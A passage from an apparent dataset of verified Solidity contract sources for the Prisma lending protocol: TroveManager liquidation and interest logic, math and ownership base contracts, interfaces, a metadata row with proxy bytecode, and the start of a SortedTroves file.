_removeStake(_borrower);\n _closeTrove(_borrower, Status.closedByLiquidation);\n _updateIntegralForAccount(_borrower, debtBefore, rewardIntegral);\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.liquidate);\n }\n\n function movePendingTroveRewardsToActiveBalances(uint256 _debt, uint256 _collateral) external {\n _requireCallerIsLM();\n _movePendingTroveRewardsToActiveBalance(_debt, _collateral);\n }\n\n function _movePendingTroveRewardsToActiveBalance(uint256 _debt, uint256 _collateral) internal {\n defaultedDebt -= _debt;\n totalActiveDebt += _debt;\n defaultedCollateral -= _collateral;\n totalActiveCollateral += _collateral;\n }\n\n function addCollateralSurplus(address borrower, uint256 collSurplus) external {\n _requireCallerIsLM();\n surplusBalances[borrower] += collSurplus;\n }\n\n function finalizeLiquidation(\n address _liquidator,\n uint256 _debt,\n uint256 _coll,\n uint256 _collSurplus,\n uint256 _debtGasComp,\n uint256 _collGasComp\n ) external {\n _requireCallerIsLM();\n // redistribute debt and collateral\n _redistributeDebtAndColl(_debt, _coll);\n\n uint256 _activeColl = totalActiveCollateral;\n if (_collSurplus > 0) {\n _activeColl -= _collSurplus;\n totalActiveCollateral = _activeColl;\n }\n\n // update system snapshos\n totalStakesSnapshot = totalStakes;\n totalCollateralSnapshot = _activeColl - _collGasComp + defaultedCollateral;\n emit SystemSnapshotsUpdated(totalStakesSnapshot, totalCollateralSnapshot);\n\n // send gas compensation\n debtToken.returnFromPool(gasPoolAddress, _liquidator, _debtGasComp);\n _sendCollateral(_liquidator, _collGasComp);\n }\n\n function _redistributeDebtAndColl(uint256 _debt, uint256 _coll) internal {\n if (_debt == 0) {\n return;\n }\n /*\n * Add distributed coll and debt rewards-per-unit-staked to the running totals. Division uses a \"feedback\"\n * error correction, to keep the cumulative error low in the running totals L_collateral and L_debt:\n *\n * 1) Form numerators which compensate for the floor division errors that occurred the last time this\n * function was called.\n * 2) Calculate \"per-unit-staked\" ratios.\n * 3) Multiply each ratio back by its denominator, to reveal the current floor division error.\n * 4) Store these errors for use in the next correction when this function is called.\n * 5) Note: static analysis tools complain about this \"division before multiplication\", however, it is intended.\n */\n uint256 collateralNumerator = (_coll * DECIMAL_PRECISION) + lastCollateralError_Redistribution;\n uint256 debtNumerator = (_debt * DECIMAL_PRECISION) + lastDebtError_Redistribution;\n uint256 totalStakesCached = totalStakes;\n // Get the per-unit-staked terms\n uint256 collateralRewardPerUnitStaked = collateralNumerator / totalStakesCached;\n uint256 debtRewardPerUnitStaked = debtNumerator / totalStakesCached;\n\n lastCollateralError_Redistribution = collateralNumerator - (collateralRewardPerUnitStaked * totalStakesCached);\n lastDebtError_Redistribution = debtNumerator - (debtRewardPerUnitStaked * totalStakesCached);\n\n // Add per-unit-staked terms to the running totals\n uint256 new_L_collateral = L_collateral + collateralRewardPerUnitStaked;\n uint256 new_L_debt = L_debt + debtRewardPerUnitStaked;\n L_collateral = new_L_collateral;\n L_debt = new_L_debt;\n\n emit LTermsUpdated(new_L_collateral, new_L_debt);\n\n totalActiveDebt -= _debt;\n defaultedDebt += _debt;\n defaultedCollateral += _coll;\n totalActiveCollateral -= _coll;\n }\n\n // --- Trove property setters ---\n\n function _sendCollateral(address _account, uint256 _amount) private {\n if (_amount > 0) {\n totalActiveCollateral = totalActiveCollateral - _amount;\n emit CollateralSent(_account, _amount);\n\n collateralToken.safeTransfer(_account, _amount);\n }\n }\n\n function _increaseDebt(address account, uint256 netDebtAmount, uint256 debtAmount) internal {\n uint256 _newTotalDebt = totalActiveDebt + netDebtAmount;\n require(_newTotalDebt + defaultedDebt <= maxSystemDebt, \"Collateral debt limit reached\");\n totalActiveDebt = _newTotalDebt;\n debtToken.mint(account, debtAmount);\n }\n\n function decreaseDebtAndSendCollateral(address account, uint256 debt, uint256 coll) external {\n _requireCallerIsLM();\n _decreaseDebt(account, debt);\n _sendCollateral(account, coll);\n }\n\n function _decreaseDebt(address account, uint256 amount) internal {\n debtToken.burn(account, amount);\n totalActiveDebt = totalActiveDebt - amount;\n }\n\n // --- Balances and interest ---\n\n function updateBalances() external {\n _requireCallerIsLM();\n _updateBalances();\n }\n\n function _updateBalances() private {\n _updateRewardIntegral(totalActiveDebt);\n _accrueActiveInterests();\n }\n\n // This function must be called any time the debt or the interest changes\n function _accrueActiveInterests() internal returns (uint256) {\n (uint256 currentInterestIndex, uint256 interestFactor) = _calculateInterestIndex();\n if (interestFactor > 0) {\n uint256 currentDebt = totalActiveDebt;\n uint256 activeInterests = Math.mulDiv(currentDebt, interestFactor, INTEREST_PRECISION);\n totalActiveDebt = currentDebt + activeInterests;\n interestPayable = interestPayable + activeInterests;\n activeInterestIndex = currentInterestIndex;\n lastActiveIndexUpdate = block.timestamp;\n }\n return currentInterestIndex;\n }\n\n function _calculateInterestIndex() internal view returns (uint256 currentInterestIndex, uint256 interestFactor) {\n uint256 lastIndexUpdateCached = lastActiveIndexUpdate;\n // Short circuit if we updated in the current block\n if (lastIndexUpdateCached == block.timestamp) return (activeInterestIndex, 0);\n uint256 currentInterest = interestRate;\n currentInterestIndex = activeInterestIndex; // we need to return this if it's already up to date\n if (currentInterest > 0) {\n /*\n * Calculate the interest accumulated and the new index:\n * We compound the index and increase the debt accordingly\n */\n uint256 deltaT = block.timestamp - lastIndexUpdateCached;\n interestFactor = deltaT * currentInterest;\n currentInterestIndex =\n currentInterestIndex +\n Math.mulDiv(currentInterestIndex, interestFactor, INTEREST_PRECISION);\n }\n }\n\n // --- Requires ---\n\n function _requireCallerIsBO() internal view {\n require(msg.sender == borrowerOperationsAddress, \"Caller not BO\");\n }\n\n function _requireCallerIsLM() internal view {\n require(msg.sender == liquidationManager, \"Not Liquidation Manager\");\n }\n}\n"
},
"contracts/dependencies/PrismaBase.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\n/*\n * Base contract for TroveManager, BorrowerOperations and StabilityPool. Contains global system constants and\n * common functions.\n */\ncontract PrismaBase {\n uint256 public constant DECIMAL_PRECISION = 1e18;\n\n // Critical system collateral ratio. If the system's total collateral ratio (TCR) falls below the CCR, Recovery Mode is triggered.\n uint256 public constant CCR = 1500000000000000000; // 150%\n\n // Amount of debt to be locked in gas pool on opening troves\n uint256 public immutable DEBT_GAS_COMPENSATION;\n\n uint256 public constant PERCENT_DIVISOR = 200; // dividing by 200 yields 0.5%\n\n constructor(uint256 _gasCompensation) {\n DEBT_GAS_COMPENSATION = _gasCompensation;\n }\n\n // --- Gas compensation functions ---\n\n // Returns the composite debt (drawn debt + gas compensation) of a trove, for the purpose of ICR calculation\n function _getCompositeDebt(uint256 _debt) internal view returns (uint256) {\n return _debt + DEBT_GAS_COMPENSATION;\n }\n\n function _getNetDebt(uint256 _debt) internal view returns (uint256) {\n return _debt - DEBT_GAS_COMPENSATION;\n }\n\n // Return the amount of collateral to be drawn from a trove's collateral and sent as gas compensation.\n function _getCollGasCompensation(uint256 _entireColl) internal pure returns (uint256) {\n return _entireColl / PERCENT_DIVISOR;\n }\n\n function _requireUserAcceptsFee(uint256 _fee, uint256 _amount, uint256 _maxFeePercentage) internal pure {\n uint256 feePercentage = (_fee * DECIMAL_PRECISION) / _amount;\n require(feePercentage <= _maxFeePercentage, \"Fee exceeded provided maximum\");\n }\n}\n"
},
"contracts/dependencies/PrismaMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nlibrary PrismaMath {\n uint256 internal constant DECIMAL_PRECISION = 1e18;\n\n /* Precision for Nominal ICR (independent of price). Rationale for the value:\n *\n * - Making it “too high” could lead to overflows.\n * - Making it “too low” could lead to an ICR equal to zero, due to truncation from Solidity floor division.\n *\n * This value of 1e20 is chosen for safety: the NICR will only overflow for numerator > ~1e39,\n * and will only truncate to 0 if the denominator is at least 1e20 times greater than the numerator.\n *\n */\n uint256 internal constant NICR_PRECISION = 1e20;\n\n function _min(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return (_a < _b) ? _a : _b;\n }\n\n function _max(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return (_a >= _b) ? _a : _b;\n }\n\n /*\n * Multiply two decimal numbers and use normal rounding rules:\n * -round product up if 19'th mantissa digit >= 5\n * -round product down if 19'th mantissa digit < 5\n *\n * Used only inside the exponentiation, _decPow().\n */\n function decMul(uint256 x, uint256 y) internal pure returns (uint256 decProd) {\n uint256 prod_xy = x * y;\n\n decProd = (prod_xy + (DECIMAL_PRECISION / 2)) / DECIMAL_PRECISION;\n }\n\n /*\n * _decPow: Exponentiation function for 18-digit decimal base, and integer exponent n.\n *\n * Uses the efficient \"exponentiation by squaring\" algorithm. O(log(n)) complexity.\n *\n * Called by two functions that represent time in units of minutes:\n * 1) TroveManager._calcDecayedBaseRate\n * 2) CommunityIssuance._getCumulativeIssuanceFraction\n *\n * The exponent is capped to avoid reverting due to overflow. The cap 525600000 equals\n * \"minutes in 1000 years\": 60 * 24 * 365 * 1000\n *\n * If a period of > 1000 years is ever used as an exponent in either of the above functions, the result will be\n * negligibly different from just passing the cap, since:\n *\n * In function 1), the decayed base rate will be 0 for 1000 years or > 1000 years\n * In function 2), the difference in tokens issued at 1000 years and any time > 1000 years, will be negligible\n */\n function _decPow(uint256 _base, uint256 _minutes) internal pure returns (uint256) {\n if (_minutes > 525600000) {\n _minutes = 525600000;\n } // cap to avoid overflow\n\n if (_minutes == 0) {\n return DECIMAL_PRECISION;\n }\n\n uint256 y = DECIMAL_PRECISION;\n uint256 x = _base;\n uint256 n = _minutes;\n\n // Exponentiation-by-squaring\n while (n > 1) {\n if (n % 2 == 0) {\n x = decMul(x, x);\n n = n / 2;\n } else {\n // if (n % 2 != 0)\n y = decMul(x, y);\n x = decMul(x, x);\n n = (n - 1) / 2;\n }\n }\n\n return decMul(x, y);\n }\n\n function _getAbsoluteDifference(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return (_a >= _b) ? _a - _b : _b - _a;\n }\n\n function _computeNominalCR(uint256 _coll, uint256 _debt) internal pure returns (uint256) {\n if (_debt > 0) {\n return (_coll * NICR_PRECISION) / _debt;\n }\n // Return the maximal value for uint256 if the Trove has a debt of 0. Represents \"infinite\" CR.\n else {\n // if (_debt == 0)\n return 2 ** 256 - 1;\n }\n }\n\n function _computeCR(uint256 _coll, uint256 _debt, uint256 _price) internal pure returns (uint256) {\n if (_debt > 0) {\n uint256 newCollRatio = (_coll * _price) / _debt;\n\n return newCollRatio;\n }\n // Return the maximal value for uint256 if the Trove has a debt of 0. Represents \"infinite\" CR.\n else {\n // if (_debt == 0)\n return 2 ** 256 - 1;\n }\n }\n\n function _computeCR(uint256 _coll, uint256 _debt) internal pure returns (uint256) {\n if (_debt > 0) {\n uint256 newCollRatio = (_coll) / _debt;\n\n return newCollRatio;\n }\n // Return the maximal value for uint256 if the Trove has a debt of 0. Represents \"infinite\" CR.\n else {\n // if (_debt == 0)\n return 2 ** 256 - 1;\n }\n }\n}\n"
},
"contracts/dependencies/PrismaOwnable.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"../interfaces/IPrismaCore.sol\";\n\n/**\n @title Prisma Ownable\n @notice Contracts inheriting `PrismaOwnable` have the same owner as `PrismaCore`.\n The ownership cannot be independently modified or renounced.\n */\ncontract PrismaOwnable {\n IPrismaCore public immutable PRISMA_CORE;\n\n constructor(address _prismaCore) {\n PRISMA_CORE = IPrismaCore(_prismaCore);\n }\n\n modifier onlyOwner() {\n require(msg.sender == PRISMA_CORE.owner(), \"Only owner\");\n _;\n }\n\n function owner() public view returns (address) {\n return PRISMA_CORE.owner();\n }\n\n function guardian() public view returns (address) {\n return PRISMA_CORE.guardian();\n }\n}\n"
},
"contracts/dependencies/SystemStart.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"../interfaces/IPrismaCore.sol\";\n\n/**\n @title Prisma System Start Time\n @dev Provides a unified `startTime` and `getWeek`, used for emissions.\n */\ncontract SystemStart {\n uint256 immutable startTime;\n\n constructor(address prismaCore) {\n startTime = IPrismaCore(prismaCore).startTime();\n }\n\n function getWeek() public view returns (uint256 week) {\n return (block.timestamp - startTime) / 1 weeks;\n }\n}\n"
},
"contracts/interfaces/IBorrowerOperations.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IBorrowerOperations {\n struct Balances {\n uint256[] collaterals;\n uint256[] debts;\n uint256[] prices;\n }\n\n event BorrowingFeePaid(address indexed borrower, uint256 amount);\n event CollateralConfigured(address troveManager, address collateralToken);\n event TroveCreated(address indexed _borrower, uint256 arrayIndex);\n event TroveManagerRemoved(address troveManager);\n event TroveUpdated(address indexed _borrower, uint256 _debt, uint256 _coll, uint256 stake, uint8 operation);\n\n function addColl(\n address troveManager,\n address account,\n uint256 _collateralAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function adjustTrove(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _collDeposit,\n uint256 _collWithdrawal,\n uint256 _debtChange,\n bool _isDebtIncrease,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function closeTrove(address troveManager, address account) external;\n\n function configureCollateral(address troveManager, address collateralToken) external;\n\n function fetchBalances() external returns (Balances memory balances);\n\n function getGlobalSystemBalances() external returns (uint256 totalPricedCollateral, uint256 totalDebt);\n\n function getTCR() external returns (uint256 globalTotalCollateralRatio);\n\n function openTrove(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _collateralAmount,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function removeTroveManager(address troveManager) external;\n\n function repayDebt(\n address troveManager,\n address account,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function setDelegateApproval(address _delegate, bool _isApproved) external;\n\n function setMinNetDebt(uint256 _minNetDebt) external;\n\n function withdrawColl(\n address troveManager,\n address account,\n uint256 _collWithdrawal,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function withdrawDebt(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function checkRecoveryMode(uint256 TCR) external pure returns (bool);\n\n function CCR() external view returns (uint256);\n\n function DEBT_GAS_COMPENSATION() external view returns (uint256);\n\n function DECIMAL_PRECISION() external view returns (uint256);\n\n function PERCENT_DIVISOR() external view returns (uint256);\n\n function PRISMA_CORE() external view returns (address);\n\n function _100pct() external view returns (uint256);\n\n function debtToken() external view returns (address);\n\n function factory() external view returns (address);\n\n function getCompositeDebt(uint256 _debt) external view returns (uint256);\n\n function guardian() external view returns (address);\n\n function isApprovedDelegate(address owner, address caller) external view returns (bool isApproved);\n\n function minNetDebt() external view returns (uint256);\n\n function owner() external view returns (address);\n\n function troveManagersData(address) external view returns (address collateralToken, uint16 index);\n}\n"
},
"contracts/interfaces/IDebtToken.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDebtToken {\n event Approval(address indexed owner, address indexed spender, uint256 value);\n event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n event ReceiveFromChain(uint16 indexed _srcChainId, address indexed _to, uint256 _amount);\n event RetryMessageSuccess(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes32 _payloadHash);\n event SendToChain(uint16 indexed _dstChainId, address indexed _from, bytes _toAddress, uint256 _amount);\n event SetMinDstGas(uint16 _dstChainId, uint16 _type, uint256 _minDstGas);\n event SetPrecrime(address precrime);\n event SetTrustedRemote(uint16 _remoteChainId, bytes _path);\n event SetTrustedRemoteAddress(uint16 _remoteChainId, bytes _remoteAddress);\n event SetUseCustomAdapterParams(bool _useCustomAdapterParams);\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function burn(address _account, uint256 _amount) external;\n\n function burnWithGasCompensation(address _account, uint256 _amount) external returns (bool);\n\n function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);\n\n function enableTroveManager(address _troveManager) external;\n\n function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);\n\n function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress) external;\n\n function increaseAllowance(address spender, uint256 addedValue) external returns (bool);\n\n function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64 _nonce, bytes calldata _payload) external;\n\n function mint(address _account, uint256 _amount) external;\n\n function mintWithGasCompensation(address _account, uint256 _amount) external returns (bool);\n\n function nonblockingLzReceive(\n uint16 _srcChainId,\n bytes calldata _srcAddress,\n uint64 _nonce,\n bytes calldata _payload\n ) external;\n\n function permit(\n address owner,\n address spender,\n uint256 amount,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function renounceOwnership() external;\n\n function returnFromPool(address _poolAddress, address _receiver, uint256 _amount) external;\n\n function sendToSP(address _sender, uint256 _amount) external;\n\n function setConfig(uint16 _version, uint16 _chainId, uint256 _configType, bytes calldata _config) external;\n\n function setMinDstGas(uint16 _dstChainId, uint16 _packetType, uint256 _minGas) external;\n\n function setPayloadSizeLimit(uint16 _dstChainId, uint256 _size) external;\n\n function setPrecrime(address _precrime) external;\n\n function setReceiveVersion(uint16 _version) external;\n\n function setSendVersion(uint16 _version) external;\n\n function setTrustedRemote(uint16 _srcChainId, bytes calldata _path) external;\n\n function setTrustedRemoteAddress(uint16 _remoteChainId, bytes calldata _remoteAddress) external;\n\n function setUseCustomAdapterParams(bool _useCustomAdapterParams) external;\n\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n function transferOwnership(address newOwner) external;\n\n function retryMessage(\n uint16 _srcChainId,\n bytes calldata _srcAddress,\n uint64 _nonce,\n bytes calldata _payload\n ) external payable;\n\n function sendFrom(\n address _from,\n uint16 _dstChainId,\n bytes calldata _toAddress,\n uint256 _amount,\n address _refundAddress,\n address _zroPaymentAddress,\n bytes calldata _adapterParams\n ) external payable;\n\n function DEBT_GAS_COMPENSATION() external view returns (uint256);\n\n function DEFAULT_PAYLOAD_SIZE_LIMIT() external view returns (uint256);\n\n function FLASH_LOAN_FEE() external view returns (uint256);\n\n function NO_EXTRA_GAS() external view returns (uint256);\n\n function PT_SEND() external view returns (uint16);\n\n function allowance(address owner, address spender) external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function borrowerOperationsAddress() external view returns (address);\n\n function circulatingSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function domainSeparator() external view returns (bytes32);\n\n function estimateSendFee(\n uint16 _dstChainId,\n bytes calldata _toAddress,\n uint256 _amount,\n bool _useZro,\n bytes calldata _adapterParams\n ) external view returns (uint256 nativeFee, uint256 zroFee);\n\n function factory() external view returns (address);\n\n function failedMessages(uint16, bytes calldata, uint64) external view returns (bytes32);\n\n function flashFee(address token, uint256 amount) external view returns (uint256);\n\n function gasPool() external view returns (address);\n\n function getConfig(\n uint16 _version,\n uint16 _chainId,\n address,\n uint256 _configType\n ) external view returns (bytes memory);\n\n function getTrustedRemoteAddress(uint16 _remoteChainId) external view returns (bytes memory);\n\n function isTrustedRemote(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (bool);\n\n function lzEndpoint() external view returns (address);\n\n function maxFlashLoan(address token) external view returns (uint256);\n\n function minDstGasLookup(uint16, uint16) external view returns (uint256);\n\n function name() external view returns (string memory);\n\n function nonces(address owner) external view returns (uint256);\n\n function owner() external view returns (address);\n\n function payloadSizeLimitLookup(uint16) external view returns (uint256);\n\n function permitTypeHash() external view returns (bytes32);\n\n function precrime() external view returns (address);\n\n function stabilityPoolAddress() external view returns (address);\n\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n\n function symbol() external view returns (string memory);\n\n function token() external view returns (address);\n\n function totalSupply() external view returns (uint256);\n\n function troveManager(address) external view returns (bool);\n\n function trustedRemoteLookup(uint16) external view returns (bytes memory);\n\n function useCustomAdapterParams() external view returns (bool);\n\n function version() external view returns (string memory);\n}\n"
},
"contracts/interfaces/IPriceFeed.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPriceFeed {\n event NewOracleRegistered(address token, address chainlinkAggregator, bool isEthIndexed);\n event PriceFeedStatusUpdated(address token, address oracle, bool isWorking);\n event PriceRecordUpdated(address indexed token, uint256 _price);\n\n function fetchPrice(address _token) external returns (uint256);\n\n function setOracle(\n address _token,\n address _chainlinkOracle,\n bytes4 sharePriceSignature,\n uint8 sharePriceDecimals,\n bool _isEthIndexed\n ) external;\n\n function MAX_PRICE_DEVIATION_FROM_PREVIOUS_ROUND() external view returns (uint256);\n\n function PRISMA_CORE() external view returns (address);\n\n function RESPONSE_TIMEOUT() external view returns (uint256);\n\n function TARGET_DIGITS() external view returns (uint256);\n\n function guardian() external view returns (address);\n\n function oracleRecords(\n address\n )\n external\n view\n returns (\n address chainLinkOracle,\n uint8 decimals,\n bytes4 sharePriceSignature,\n uint8 sharePriceDecimals,\n bool isFeedWorking,\n bool isEthIndexed\n );\n\n function owner() external view returns (address);\n\n function priceRecords(\n address\n ) external view returns (uint96 scaledPrice, uint32 timestamp, uint32 lastUpdated, uint80 roundId);\n}\n"
},
"contracts/interfaces/IPrismaCallbacks.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nstruct ReedemedTrove {\n address account;\n uint256 debtLot;\n uint256 collateralLot;\n}\n\ninterface ITroveRedemptionsCallback {\n /**\n * @notice Function called after redemptions are executed in a Trove Manager\n * @dev This functions should be called EXCLUSIVELY by a registered Trove Manger\n * @param redemptions Values related to redeemed troves\n */\n function onRedemptions(ReedemedTrove[] memory redemptions) external returns (bool);\n}\n"
},
"contracts/interfaces/IPrismaCore.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPrismaCore {\n event FeeReceiverSet(address feeReceiver);\n event GuardianSet(address guardian);\n event NewOwnerAccepted(address oldOwner, address owner);\n event NewOwnerCommitted(address owner, address pendingOwner, uint256 deadline);\n event NewOwnerRevoked(address owner, address revokedOwner);\n event Paused();\n event PriceFeedSet(address priceFeed);\n event Unpaused();\n\n function acceptTransferOwnership() external;\n\n function commitTransferOwnership(address newOwner) external;\n\n function revokeTransferOwnership() external;\n\n function setFeeReceiver(address _feeReceiver) external;\n\n function setGuardian(address _guardian) external;\n\n function setPaused(bool _paused) external;\n\n function setPriceFeed(address _priceFeed) external;\n\n function OWNERSHIP_TRANSFER_DELAY() external view returns (uint256);\n\n function feeReceiver() external view returns (address);\n\n function guardian() external view returns (address);\n\n function owner() external view returns (address);\n\n function ownershipTransferDeadline() external view returns (uint256);\n\n function paused() external view returns (bool);\n\n function pendingOwner() external view returns (address);\n\n function priceFeed() external view returns (address);\n\n function startTime() external view returns (uint256);\n}\n"
},
"contracts/interfaces/ISortedTroves.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISortedTroves {\n event NodeAdded(address _id, uint256 _NICR);\n event NodeRemoved(address _id);\n\n function insert(address _id, uint256 _NICR, address _prevId, address _nextId) external;\n\n function reInsert(address _id, uint256 _newNICR, address _prevId, address _nextId) external;\n\n function remove(address _id) external;\n\n function setAddresses(address _troveManagerAddress) external;\n\n function contains(address _id) external view returns (bool);\n\n function data() external view returns (address head, address tail, uint256 size);\n\n function findInsertPosition(\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) external view returns (address, address);\n\n function getFirst() external view returns (address);\n\n function getLast() external view returns (address);\n\n function getNext(address _id) external view returns (address);\n\n function getPrev(address _id) external view returns (address);\n\n function getSize() external view returns (uint256);\n\n function isEmpty() external view returns (bool);\n\n function troveManager() external view returns (address);\n\n function validInsertPosition(uint256 _NICR, address _prevId, address _nextId) external view returns (bool);\n}\n"
},
"contracts/interfaces/IVault.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPrismaVault {\n struct InitialAllowance {\n address receiver;\n uint256 amount;\n }\n\n event BoostCalculatorSet(address boostCalculator);\n event BoostDelegationSet(address indexed boostDelegate, bool isEnabled, uint256 feePct, address callback);\n event EmissionScheduleSet(address emissionScheduler);\n event IncreasedAllocation(address indexed receiver, uint256 increasedAmount);\n event NewReceiverRegistered(address receiver, uint256 id);\n event ReceiverIsActiveStatusModified(uint256 indexed id, bool isActive);\n event UnallocatedSupplyIncreased(uint256 increasedAmount, uint256 unallocatedTotal);\n event UnallocatedSupplyReduced(uint256 reducedAmount, uint256 unallocatedTotal);\n\n function allocateNewEmissions(uint256 id) external returns (uint256);\n\n function batchClaimRewards(\n address receiver,\n address boostDelegate,\n address[] calldata rewardContracts,\n uint256 maxFeePct\n ) external returns (bool);\n\n function increaseUnallocatedSupply(uint256 amount) external returns (bool);\n\n function registerReceiver(address receiver, uint256 count) external returns (bool);\n\n function setBoostCalculator(address _boostCalculator) external returns (bool);\n\n function setBoostDelegationParams(bool isEnabled, uint256 feePct, address callback) external returns (bool);\n\n function setEmissionSchedule(address _emissionSchedule) external returns (bool);\n\n function setInitialParameters(\n address _emissionSchedule,\n address _boostCalculator,\n uint256 totalSupply,\n uint64 initialLockWeeks,\n uint128[] calldata _fixedInitialAmounts,\n InitialAllowance[] calldata initialAllowances\n ) external;\n\n function setReceiverIsActive(uint256 id, bool isActive) external returns (bool);\n\n function transferAllocatedTokens(address claimant, address receiver, uint256 amount) external returns (bool);\n\n function transferTokens(address token, address receiver, uint256 amount) external returns (bool);\n\n function PRISMA_CORE() external view returns (address);\n\n function allocated(address) external view returns (uint256);\n\n function boostCalculator() external view returns (address);\n\n function boostDelegation(address) external view returns (bool isEnabled, uint16 feePct, address callback);\n\n function claimableRewardAfterBoost(\n address account,\n address receiver,\n address boostDelegate,\n address rewardContract\n ) external view returns (uint256 adjustedAmount, uint256 feeToDelegate);\n\n function emissionSchedule() external view returns (address);\n\n function getClaimableWithBoost(address claimant) external view returns (uint256 maxBoosted, uint256 boosted);\n\n function getWeek() external view returns (uint256 week);\n\n function guardian() external view returns (address);\n\n function idToReceiver(uint256) external view returns (address account, bool isActive);\n\n function lockWeeks() external view returns (uint64);\n\n function locker() external view returns (address);\n\n function owner() external view returns (address);\n\n function claimableBoostDelegationFees(address claimant) external view returns (uint256 amount);\n\n function prismaToken() external view returns (address);\n\n function receiverUpdatedWeek(uint256) external view returns (uint16);\n\n function totalUpdateWeek() external view returns (uint64);\n\n function unallocatedTotal() external view returns (uint128);\n\n function voter() external view returns (address);\n\n function weeklyEmissions(uint256) external view returns (uint128);\n}\n"
}
}
}}
|
1 | 19,497,383 |
5cedefecd212b2699bb4fc85ca1e76e6acabe0b5f645cb05da68110439c6b8d8
|
61a791f49a6f0eab9e414c58c416059876cdb74872a68a2bbfa657113de8ee0d
|
d8531a94100f15af7521a7b6e724ac4959e0a025
|
70b66e20766b775b2e9ce5b718bbd285af59b7e1
|
d523e0b45e2de7d0153d1c56c98649125349f334
|
3d602d80600a3d3981f3363d3d373d3d3d363d733bab3f90095c424b923d67f4be1790935c8bbb505af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d733bab3f90095c424b923d67f4be1790935c8bbb505af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"SortedTroves.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"ITroveManager.sol\";\n\n/**\n @title Prisma Sorted Troves\n @notice Based on Liquity's `SortedTroves`:\n https://github.com/liquity/dev/blob/main/packages/contracts/contracts/SortedTroves.sol\n\n Originally derived from `SortedDoublyLinkedList`:\n https://github.com/livepeer/protocol/blob/master/contracts/libraries/SortedDoublyLL.sol\n */\ncontract SortedTroves {\n ITroveManager public troveManager;\n\n Data public data;\n\n // Information for a node in the list\n struct Node {\n bool exists;\n address nextId; // Id of next node (smaller NICR) in the list\n address prevId; // Id of previous node (larger NICR) in the list\n }\n\n // Information for the list\n struct Data {\n address head; // Head of the list. Also the node in the list with the largest NICR\n address tail; // Tail of the list. Also the node in the list with the smallest NICR\n uint256 size; // Current size of the list\n mapping(address => Node) nodes; // Track the corresponding ids for each node in the list\n }\n\n event NodeAdded(address _id, uint256 _NICR);\n event NodeRemoved(address _id);\n\n function setAddresses(address _troveManagerAddress) external {\n require(address(troveManager) == address(0), \"Already set\");\n troveManager = ITroveManager(_troveManagerAddress);\n }\n\n /*\n * @dev Add a node to the list\n * @param _id Node's id\n * @param _NICR Node's NICR\n * @param _prevId Id of previous node for the insert position\n * @param _nextId Id of next node for the insert position\n */\n\n function insert(address _id, uint256 _NICR, address _prevId, address _nextId) external {\n ITroveManager troveManagerCached = troveManager;\n\n _requireCallerIsTroveManager(troveManagerCached);\n\n Node storage node = data.nodes[_id];\n // List must not already contain node\n require(!node.exists, \"SortedTroves: List already contains the node\");\n // Node id must not be null\n require(_id != address(0), \"SortedTroves: Id cannot be zero\");\n\n _insert(node, troveManagerCached, _id, _NICR, _prevId, _nextId);\n }\n\n function _insert(\n Node storage node,\n ITroveManager _troveManager,\n address _id,\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) internal {\n // NICR must be non-zero\n require(_NICR > 0, \"SortedTroves: NICR must be positive\");\n\n address prevId = _prevId;\n address nextId = _nextId;\n\n if (!_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {\n // Sender's hint was not a valid insert position\n // Use sender's hint to find a valid insert position\n (prevId, nextId) = _findInsertPosition(_troveManager, _NICR, prevId, nextId);\n }\n\n node.exists = 